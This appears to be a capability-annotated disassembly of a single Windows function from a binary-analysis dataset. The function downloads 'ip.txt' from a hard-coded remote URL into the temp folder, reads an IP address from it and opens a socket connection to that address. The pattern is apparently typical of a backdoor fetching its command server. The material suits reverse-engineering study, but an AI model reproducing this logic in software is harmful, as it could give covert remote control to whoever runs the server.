Function at 0x4038b0
Capabilities:
Get common file path
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b4c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x970
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
push str.http:__www.lyfz.net_download_ip.txt
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x28], edi
call fcn.004085dc
lea eax, [ebp - 0x174]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x174]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.004085dc
push 0
push 0
push 0
push 0
push 1
push 0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CInternetSession::CInternetSession
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.004084c2
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.004084c2
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x20]
push edx
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x48]
push ecx
push edx
push eax
mov byte [ebp - 4], 4
call sub.MFC42.DLL_AfxParseURL
cmp dword [ebp - 0x48], 3
je 0x40396f
mov ecx, edi
call fcn.00403d10
mov esi, eax
jmp 0x403be3
push 0
lea ecx, [ebp - 0x14]
push 4
mov ebx, 5
push ecx
push 2
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call sub.MFC42.DLL_CInternetSession::SetOption
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
push 0
push 0
push edx
push eax
lea ecx, [ebp - 0x44]
call sub.MFC42.DLL_CInternetSession::GetHttpConnection
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x18]
push 0
push 0
push ecx
push edx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CInternetSession::GetHttpConnection
mov ecx, dword [ebp - 0x20]
push 0x20200010
push 0
push 0
push 1
push 0
push ecx
push 1
mov ecx, eax
mov dword [ebp - 4], 4
call sub.MFC42.DLL_CHttpConnection::OpenRequest
push 0
mov esi, eax
push 0
push 0
push 0
mov ecx, esi
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CHttpFile::SendRequest
test esi, esi
mov dword [ebp - 4], 4
je 0x403a95
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea edx, [ebp - 0x1c]
push str.ip.txt
lea eax, [ebp - 0x14]
mov bl, 9
push edx
push eax
mov byte [ebp - 4], bl
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push 0x9001
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov edx, dword [esi]
lea eax, [ebp - 0x974]
push 0x800
push eax
mov ecx, esi
call dword [edx + 0x3c]
test eax, eax
jle 0x403a7a
lea ecx, [ebp - 0x974]
push eax
push ecx
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::Write
mov edx, dword [esi]
lea eax, [ebp - 0x974]
push 0x800
push eax
mov ecx, esi
call dword [edx + 0x3c]
test eax, eax
jg 0x403a53
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::Close
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x54]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea eax, [ebp - 0x1c]
push str.ip.txt
lea ecx, [ebp - 0x14]
mov bl, 0xb
push eax
push ecx
mov byte [ebp - 4], bl
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push 0
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push 0x40fcd0
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::ReadString
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::Close
push 0x40fcd0
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString_1
push 0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::GetBuffer
push 0xffffffffffffffff
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x28], eax
call sub.MFC42.DLL_CString::ReleaseBuffer
push edi
lea esi, [edi + 0x6c]
push 0x403880
push 0
push 1
mov ecx, esi
call fcn.00405a90
test eax, eax
je 0x403b90
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.004087f8
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x28]
push edx
call sub.WSOCK32.dll_inet_addr
mov ecx, edi
mov dword [ebp - 0x28], eax
call fcn.004048b0
mov edx, dword [esi]
push eax
mov eax, dword [ebp - 0x28]
mov ecx, esi
push eax
call dword [edx + 0xc]
test eax, eax
je 0x403bc3
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 8]
mov ecx, edi
call fcn.00403d10
jmp 0x403bca
mov ecx, edi
call fcn.00404380
lea ecx, [ebp - 0x2c]
mov esi, eax
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.004087f8
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret